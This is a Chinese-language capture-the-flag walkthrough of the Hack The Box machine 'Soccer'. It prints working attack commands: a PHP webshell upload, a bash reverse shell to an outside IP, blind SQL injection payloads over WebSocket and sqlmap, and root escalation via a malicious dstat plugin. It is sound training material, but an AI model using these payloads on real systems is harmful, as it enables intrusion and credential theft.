30 HTB Soccer 机器 - 容易
主要知识点
第一阶段:侦查
nmap
nmap快速扫描:
oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.194
Starting Nmap 7.80 ( https://nmap.org ) at 2023-06-04 13:32 EDT
Nmap scan report for 10.10.11.194
Host is up (0.093s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
9091/tcp open xmltec-xmlmailNmap done: 1 IP address (1 host up) scanned in 6.92 seconds
3个端口,仔细扫描:
oxdf@hacky$ nmap -p 22,80,9091 -sCV 10.10.11.194
Starting Nmap 7.80 ( https://nmap.org ) at 2023-06-04 13:32 EDT
Nmap scan report for 10.10.11.194
Host is up (0.093s latency).PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
9091/tcp open xmltec-xmlmail?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix:
| HTTP/1.1 400 Bad Request
| Connection: close
| GetRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
...[snip]...
SF:0Bad\x20Request\r\nConnection:\x20close\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.65 seconds
注意到9091也是一个web页面
子域名暴力破解
ffuf 试下80端口soccer.htb:
"ffuf -u http://10.10.11.194 -H "Host: FUZZ.soccer.htb" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -mc all -ac"
oxdf@hacky$ ffuf -u http://10.10.11.194 -H "Host: FUZZ.soccer.htb" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -mc all -ac/'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.0.0-dev
________________________________________________:: Method : GET:: URL : http://10.10.11.194:: Wordlist : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt:: Header : Host: FUZZ.soccer.htb:: Follow redirects : false:: Calibration : true:: Timeout : 10:: Threads : 40:: Matcher : Response status: all
________________________________________________:: Progress: [19966/19966] :: Job [1/1] :: 427 req/sec :: Duration: [0:00:47] :: Errors: 0 ::
可以再试下9091端口找子域名,仍然没有收获。
把域名添加到hosts文件里:
10.10.11.194 soccer.htb
soccer.htb - TCP 80
打开页面长这样
查看源代码,这页没有链接
技术栈
burp查看header:
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 04 Jun 2023 17:48:07 GMT
Content-Type: text/html
Last-Modified: Thu, 17 Nov 2022 08:07:11 GMT
Connection: close
ETag: W/"6375ebaf-1b05"
Content-Length: 6917
再查看下404页:
没有收获。
目录遍历爆破
用feroxbuster:"feroxbuster -u http://soccer.htb"
oxdf@hacky$ feroxbuster -u http://soccer.htb___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.9.3
───────────────────────────┬──────────────────────🎯 Target Url │ http://soccer.htb🚀 Threads │ 50📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt👌 Status Codes │ All Status Codes!💥 Timeout (secs) │ 7🦡 User-Agent │ feroxbuster/2.9.3💉 Config File │ /etc/feroxbuster/ferox-config.toml🔎 Extract Links │ true🏁 HTTP methods │ [GET]🔃 Recursion Depth │ 4🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 7l 12w 162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 7l 10w 162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 711l 4253w 403502c http://soccer.htb/ground2.jpg
200 GET 2232l 4070w 223875c http://soccer.htb/ground4.jpg
200 GET 809l 5093w 490253c http://soccer.htb/ground1.jpg
200 GET 494l 1440w 96128c http://soccer.htb/ground3.jpg
200 GET 147l 526w 6917c http://soccer.htb/
301 GET 7l 12w 178c http://soccer.htb/tiny => http://soccer.htb/tiny/
301 GET 7l 12w 178c http://soccer.htb/tiny/uploads => http://soccer.htb/tiny/uploads/
[####################] - 1m 90021/90021 0s found:7 errors:0
[####################] - 57s 30000/30000 521/s http://soccer.htb/
[####################] - 56s 30000/30000 526/s http://soccer.htb/tiny/
[####################] - 56s 30000/30000 528/s http://soccer.htb/tiny/uploads/
注意到两个网页:/tiny/uploads
先看下/tiny
“Tiny File Manager” 在网上搜一下,是 web-based PHP file manager,也可以搜到一些漏洞利用信息
Github网页:https://github.com/prasathmani/tinyfilemanager 其中给了默认登录用户名和密码:
admin/admin@123 和 user/12345
Tiny File Manager
用admin登录:
点开tiny目录:
点开uploads,空的:
第二阶段 漏洞利用
上传php webshell cmd.php:
<?php system($_REQUEST["cmd"]); ?>
上传失败:
还是转到/tiny/uploads
上传成功。
curl POST请求试一试
curl http://soccer.htb/tiny/uploads/cmd.php -d 'cmd=id'
oxdf@hacky$ curl http://soccer.htb/tiny/uploads/cmd.php -d 'cmd=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
成功。再传一个bash反弹shell:cmd=bash -c "bash -i >%26 /dev/tcp/10.10.14.6/443 0>%261"
oxdf@hacky$ curl http://soccer.htb/tiny/uploads/cmd.php -d 'cmd=bash -c "bash -i >%26 /dev/tcp/10.10.14.6/443 0>%261"'
有链接,但是:
oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.194 55140
bash: cannot set terminal process group (1048): Inappropriate ioctl for device
bash: no job control in this shell
www-data@soccer:~/html/tiny/uploads$
反向 Shell 的终端环境不完整。
需要升级下shell,详细过程之后再补一篇文章。
第三阶段 再次侦查
文件
连接成功后,查看/var/www/html目录文件:
www-data@soccer:~/html$ ls
football.jpg ground2.jpg ground4.jpg tiny
ground1.jpg ground3.jpg index.html
// Login user name and password
// Users: array('Username' => 'Password', 'Username2' => 'Password2', ...)
// Generate secure password hash - https://tinyfilemanager.github.io/docs/pwd.html
$auth_users = array('admin' => '$2y$10$/K.hjNr84lLNDt8fTXjoI.DBp6PpeyoJ.mGwrrLuCZfAwfSAGqhOW', //admin@123'user' => '$2y$10$Fg6Dz8oH9fPoZ2jJan5tZuv6Z4Kp7avtQ9bDfrdRntXtPeiMAZyGO' //12345
);
查看/home:
www-data@soccer:/home$ ls
player
有user.txt文件,但是无权限读
www-data@soccer:/home/player$ ls -la
total 28
drwxr-xr-x 3 player player 4096 Nov 28 2022 .
drwxr-xr-x 3 root root 4096 Nov 17 2022 ..
lrwxrwxrwx 1 root root 9 Nov 17 2022 .bash_history -> /dev/null
-rw-r--r-- 1 player player 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 player player 3771 Feb 25 2020 .bashrc
drwx------ 2 player player 4096 Nov 17 2022 .cache
-rw-r--r-- 1 player player 807 Feb 25 2020 .profile
lrwxrwxrwx 1 root root 9 Nov 17 2022 .viminfo -> /dev/null
-rw-r----- 1 root player 33 Jun 4 17:29 user.txt
www-data@soccer:/home/player$ cat user.txt
cat: user.txt: Permission denied
网络和进程
www-data@soccer:/$ netstat -tnlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:9091 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 1089/nginx: worker
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN 1089/nginx: worker
tcp6 0 0 :::22 :::* LISTEN -
3000端口:
www-data@soccer:/$ curl localhost:3000
<!DOCTYPE html>
<html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link href="/css/bootstrap.min.css" rel="stylesheet" id="bootstrap-css"> <script src="/js/bootstrap.bundle.min.js"></script> <script src="/js/jquery.min.js"></script>
...[snip]...
3306 33060应该是MySQL端口,但是没密码:
www-data@soccer:/$ mysql -p 3306
Enter password:
ERROR 1045 (28000): Access denied for user 'www-data'@'localhost' (using password: YES)
www-data@soccer:/$ mysql -p 33060
Enter password:
ERROR 1045 (28000): Access denied for user 'www-data'@'localhost' (using password: YES)
看进程:
www-data@soccer:/$ ps auxww
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
www-data 1089 0.0 0.1 54080 6176 ? S 17:28 0:03 nginx: worker process
www-data 1090 0.0 0.1 54080 6492 ? S 17:28 0:04 nginx: worker process
www-data 2385 0.0 0.0 2608 532 ? S 18:50 0:00 sh -c bash -c "bash -i >& /dev/tcp/10.10.14.6/443 0>&1"
www-data 2386 0.0 0.0 3976 2844 ? S 18:50 0:00 bash -c bash -i >& /dev/tcp/10.10.14.6/443 0>&1
www-data 2387 0.0 0.0 4108 3484 ? S 18:50 0:00 bash -i
www-data 2389 0.0 0.0 2636 2000 ? S 18:50 0:00 script /dev/null -c bash
www-data 2390 0.0 0.0 2608 596 pts/1 Ss 18:50 0:00 sh -c bash
www-data 2391 0.0 0.0 4108 3596 pts/1 S 18:50 0:00 bash
www-data 2404 0.0 0.0 5892 2904 pts/1 R+ 18:51 0:00 ps auxww
看起来仅有权限看自己的进程。确认下:
www-data@soccer:/$ mount | grep ^proc
proc on /proc type proc (rw,nodev,relatime,hidepid=2)
mount | grep ^proc 列出当前系统中所有已挂载的文件系统,筛选出以 proc 开头的行(即 proc 文件系统的挂载信息)。
proc on /proc type proc (rw,nodev,relatime,hidepid=2) 这条输出表明 proc 文件系统以增强安全性的配置(hidepid=2)挂载到了 /proc,允许用户通过文件接口访问内核信息,同时限制了对其他用户进程的可见性。
nginx
/etc/nginx/sites-enabled
www-data@soccer:/etc/nginx/sites-enabled$ ls
default soc-player.htb
default:
server {listen 80;listen [::]:80;server_name 0.0.0.0;return 301 http://soccer.htb$request_uri;
}
设置了主页,允许php文件:
server {listen 80;listen [::]:80;server_name soccer.htb;root /var/www/html;index index.html tinyfilemanager.php;location / {try_files $uri $uri/ =404;}location ~ \.php$ {include snippets/fastcgi-php.conf;fastcgi_pass unix:/run/php/php7.4-fpm.sock;}location ~ /\.ht {deny all;}}
soc-player.htb 给 soc-player.soccer.htb域名设置了另一个站点localhost:3000:
server {listen 80;listen [::]:80;server_name soc-player.soccer.htb;root /root/app/views;location / {proxy_pass http://localhost:3000;proxy_http_version 1.1;proxy_set_header Upgrade $http_upgrade;proxy_set_header Connection 'upgrade';proxy_set_header Host $host;proxy_cache_bypass $http_upgrade;}}
更新下我们的hosts设置:
10.10.11.194 soccer.htb soc-player.soccer.htb
soc-player.soccer.htb网页
菜单栏有更多东西:
点开页面Match
注册一个账号,登录,自动转到/check:
输入自己的ticket id,验证存在:
技术栈
查看burp返回包记录
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 04 Jun 2023 21:01:25 GMT
Content-Type: text/html; charset=utf-8
Connection: close
X-Powered-By: Express
ETag: W/"1a5d-j2rGKcxb2vG5mw817o9kuCXUG9A"
Set-Cookie: connect.sid=s%3AfzlQ3aFEPfRhEXq51K_uqNvexNoR9nuY.%2BBeuQqYAry5y7q1Wccbld3alYHOkL0AmbBCA201JP5E; Path=/; HttpOnly
Content-Length: 6749
使用了Express
再查看http记录发现,登录时会向 /login 提交一个 POST 请求。成功后,服务器返回一个 302 重定向到 /check。该页面加载时,会向 soc-player.soccer.htb:9091 发起一个请求,返回码101
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: 2lpCpI8gQ/C/eDaO6NMwOr0mrNs=
TCP 9091端口是一个 WebSocket 服务器。在 Burp 的 "WebSockets history" 标签页中最初没有显示即时消息。但当check我的ticket时,会出现一条消息和响应:
WebSocket
WebSocket 是一种网络通信协议,用于在客户端(如浏览器)和服务器之间建立持久化、全双工(双向同时通信)的连接。与传统的 HTTP 请求(每次通信都需要重新建立连接)不同,WebSocket 允许双方在单次连接上持续交换数据,适合实时应用。
主要特点:
实时性:服务器可以主动推送数据给客户端,无需等待客户端请求(如在线聊天、股票行情、游戏同步)。
低延迟:避免了 HTTP 的重复连接开销,通信更高效。
双向通信:客户端和服务器可以同时发送和接收数据。
常见应用场景:
在线聊天(如微信网页版)
实时数据监控(如股票价格、物流跟踪)
多人在线游戏
协同编辑工具(如在线文档)
与 HTTP 的区别:
HTTP:单向请求(客户端发起→服务器响应),无状态,短连接。
WebSocket:双向通信,长连接,适合高频交互场景。
发送和接受的信息是:
第四阶段 SQL注入漏洞利用
我将其中一条发送到服务器(To server)的消息转发到Burp Repeater,并尝试对其进行修改。添加一个单引号(')后,除了返回“票据不存在”(“Ticket Doesn’t Exist”)之外,没有其他反应。
注意:当尝试对整数值进行SQL注入(SQLI)时,除了使用单引号('),也值得尝试不加单引号的情况。因为单引号通常用于闭合字符串,但如果输入被当作整数处理,可能直接使用反引号(`)或注入类似1=1-- -的语句即可生效(-- -用于注释掉后续代码)。
更改请求:"id":"0 or 1=1-- -"
如果用id: "0" 结果是Ticket不存在。所以以上注入成功了
这是一种盲注 SQL 注入——数据库不会在响应中返回任何数据,只有两种可能的响应结果。
我们的目标是向数据库提问,例如:“是否存在以字母 ‘a’ 开头的用户名?”
理解后台查询逻辑
首先,我需要推测系统执行的 SQL 查询语句,可能类似这种:
SELECT * FROM ticket WHERE id = {id};
如果查询返回至少一行,系统会响应“票据存在”(Ticket Exists)。
如果没有返回任何行,系统则响应“票据不存在”(Ticket Doesn’t Exist)。
构造测试查询的方法
为了进行测试,有几种方式可以构造查询。在手动测试时,可以使用 UNION 注入。发送一个不返回任何行的查询,然后通过 UNION 拼接另一个查询。如果第二个查询返回数据,系统就会返回“票据存在”。例如:
SELECT * FROM ticket WHERE id = -1 UNION SELECT 1,2,3... --
如果 UNION 部分返回数据,则触发“Ticket Exists”
当然,也可以使用 OR foo=bar 的方式进行测试,但在手动测试时,这种方式更难直观判断逻辑。
关于错误处理的观察
可以注意到,应用程序在遇到 SQL 查询错误时,并不会崩溃,而是统一返回“票据不存在”(Ticket Doesn’t Exist)。这意味着:
即使注入导致语法错误,也不会暴露错误信息(典型的盲注特征)。
必须依赖条件响应差异(True/False)来推断数据库信息。
我们需要知道查询返回的列数,因为UNION语句必须返回相同数量的列,否则会错误。如果发送一个列,返回结果为false:不断增加列数,直到在三个列时返回true:
SELECT * from ticket where id = 0 UNION SELECT 1,2,3;
显示"Ticket Exists":
在MySQL中,有一个mysql.user表存储着可以登录MySQL的用户。发送以下payload,如果该表中存在以"a"开头的用户,就会返回true:
{"id":"0 UNION select user,2,3 from mysql.user where user like 'a%'-- -"}
返回结果为false。很可能存在一个名为"root"的用户,当把"a"改为"r"后,返回结果为true:
以上为手动测试,还是用sqlmap快一些:
sqlmap可以用WebSocket。如果sqlmap返回错误“requires third-party module 'websocket-client' in order to use WebSocket functionality ”,是因为缺少Python websockets库。
或者,返回以下错误时,是因为websockets library安装得不对:
[21:18:30] [ERROR] wrong modification time of '/usr/share/sqlmap/sqlmapapi.py'
[21:18:30] [ERROR] wrong modification time of '/usr/share/sqlmap/sqlmap.py'
[21:18:30] [ERROR] wrong modification time of '/usr/share/sqlmap/thirdparty/identywaf/identYwaf.py'
[21:18:30] [CRITICAL] wrong websocket library detected (Reference: 'https://github.com/sqlmapproject/sqlmap/issues/4572#issuecomment-77504
1086')
这两个问题都可以通过安装websocket-client来解决
pip install websocket-client
进行注入时,用以下参数:
-u "ws://soc-player.soccer.htb:9091" - 要连接的URL
--data '{"id": "1234"}' - 要发送的数据
--dbms mysql - 告诉sqlmap这是MySQL数据库
--batch - 对所有问题采用默认回答
--level 5 --risk 3 - 提升到最激进模式以发现布尔型注入(不加这个参数只会发现基于时间的注入,速度非常慢)
sqlmap结果如下
oxdf@hacky$ sqlmap -u ws://soc-player.soccer.htb:9091 --data '{"id": "1234"}' --dbms mysql --batch --lev
el 5 --risk 3
...[snip]...
[21:24:42] [INFO] testing connection to the target URL
...[snip]...
[21:30:25] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[21:30:32] [INFO] (custom) POST parameter 'JSON id' appears to be 'OR boolean-based blind - WHERE or HAVING clause' injectable
...[snip]...
[21:30:45] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[21:30:56] [INFO] (custom) POST parameter 'JSON id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
...[snip]...
[21:32:28] [INFO] checking if the injection point on (custom) POST parameter 'JSON id' is a false positive
(custom) POST parameter 'JSON id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 373 HTTP(s) requests:
---
Parameter: JSON id ((custom) POST) Type: boolean-based blindTitle: OR boolean-based blind - WHERE or HAVING clausePayload: {"id": "-1533 OR 9982=9982"}Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: {"id": "1234 AND (SELECT 5403 FROM (SELECT(SLEEP(5)))gMBy)"}
---
[21:32:37] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
...[snip]...
数据库信息
sqlmap已经找到了注入点,我将按上箭头调出之前的命令并添加--dbs参数。布尔型注入可以安全地使用多线程,因此我再添加--threads 10参数来加速。工具会从上次停止的地方继续,列出可用的数据库:
oxdf@hacky$ sqlmap -u ws://soc-player.soccer.htb:9091 --dbs --data '{"id": "1234"}' --dbms mysql --batch --level 5 --risk 3 --threads 10
...[snip]...
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] soccer_db
[*] sys
...[snip]...
表格信息
soccer_db似乎是唯一一个非默认数据库。我将把--dbs替换为-D soccer_db来指定该数据库,然后添加--tables参数来列出其中的表:
oxdf@hacky$ sqlmap -u ws://soc-player.soccer.htb:9091 -D soccer_db --tables --data '{"id": "1234"}' --dbms mysql --batch --level 5 --risk 3 --threads 10
...[snip]...
Database: soccer_db
[1 table]
+----------+
| accounts |
+----------+
...[snip]...
账号信息
对于布尔型和基于时间的SQL注入,通常需要谨慎处理大批量数据导出,因为这类操作会非常缓慢。不过既然当前只有一个表,可以尝试导出整个表数据,因此将--tables替换为-T accounts并添加--dump参数。执行后成功导出了该表内容:
oxdf@hacky$ sqlmap -u ws://soc-player.soccer.htb:9091 -D soccer_db -T accounts --dump --data '{"id": "1234"}' --dbms mysql --batch --level 5 --risk 3 --threads 10
...[snip]...
Database: soccer_db
Table: accounts
[1 entry]
+------+-------------------+----------------------+----------+
| id | email | password | username |
+------+-------------------+----------------------+----------+
| 1324 | player@player.htb | PlayerOftheMatch2022 | player |
+------+-------------------+----------------------+----------+
...[snip]...
player用户密码:PlayerOftheMatch2022
第五阶段 提升权限
回到之前的nc连接,su player:
www-data@soccer:/home/player$ su player -
Password:
player@soccer:~$
或者ssh也能直接登录:
oxdf@hacky$ sshpass -p PlayerOftheMatch2022 ssh player@soccer.htb
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-135-generic x86_64)
...[snip]...
player@soccer:~$
再去读之前没权限读的user.txt
player@soccer:~$ cat user.txt
df7f36e9************************
sudo/doas
先检查sudo,用户没有sudo的权限:
player@soccer:~$ sudo -l
[sudo] password for player:
Sorry, user player may not run sudo on localhost.
检查setUID权限:
player@soccer:~$ find / -perm -4000 2>/dev/null
/usr/local/bin/doas
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
...[snip]...
doas 是 sudo 的替代方案,通常出现在 OpenBSD 操作系统中,也可以安装在基于 Debian 的 Linux 系统(如 Ubuntu)上。
在 /etc 目录下没有找到 doas.conf 文件,通过 find 命令在文件系统中搜索它:
player@soccer:~$ find / -name doas.conf 2>/dev/null
/usr/local/etc/doas.conf
查看下:
player@soccer:~$ cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat
doas配置文件:当前用户player被允许以root权限无需密码执行 /usr/bin/dstat 命令。
dstat是一个用于获取系统信息的工具。
dstat 是一个强大的 Linux/Unix 系统性能监控工具,用于实时统计系统资源使用情况(如 CPU、内存、磁盘、网络等)。它结合了 vmstat、iostat、netstat 等工具的功能,并以彩色、易读的格式输出数据,支持动态刷新和自定义监控项。
例如:
(1)使用 dstat 关联磁盘吞吐量、网络使用情况(eth0)、总 CPU 使用率和系统计数器。
dstat -dnyc -N eth0 -C total -f 5(2)检查 dstat 的运行行为及其对系统的影响:
dstat -taf --debug(3)结合时间插件与 CPU、网络、磁盘、系统、负载、进程及 top_cpu 插件使用:
dstat -tcndylp --top-cpu
此命令等同于:
dstat --time --cpu --net --disk --sys --load --proc --top-cpu(4)使用 dstat 关联 CPU 统计信息与各设备的中断次数:
dstat -tcyif
再linux man page底下,写着:
可能包含外部 dstat_*.py
插件的路径:
-
~/.dstat/
-
(dstat 二进制文件路径)/plugins/
-
/usr/share/dstat/
-
/usr/local/share/dstat/
插件是名为 dstat_[插件名称].py
的 Python 脚本。
编写恶意插件
import os
os.system("/bin/bash")
这段代码会启动一个交互式 Bash shell。
我们可以写入 ~/.dstat/,但由于 doas 会以 root 身份运行 dstat,因此不会检查 /home/player/.dstat/。好在/usr/local/share/dstat 是可写的。
player@soccer:~$ echo -e 'import os\n\nos.system("/bin/bash")' > /usr/local/share/dstat/dstat_0xdf.py
写入插件后,使用 --0xdf 参数调用 dstat:
player@soccer:~$ doas /usr/bin/dstat --0xdf
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses import imp
root@soccer:/home/player#
成功获取了 root shell,并可以提取 flag。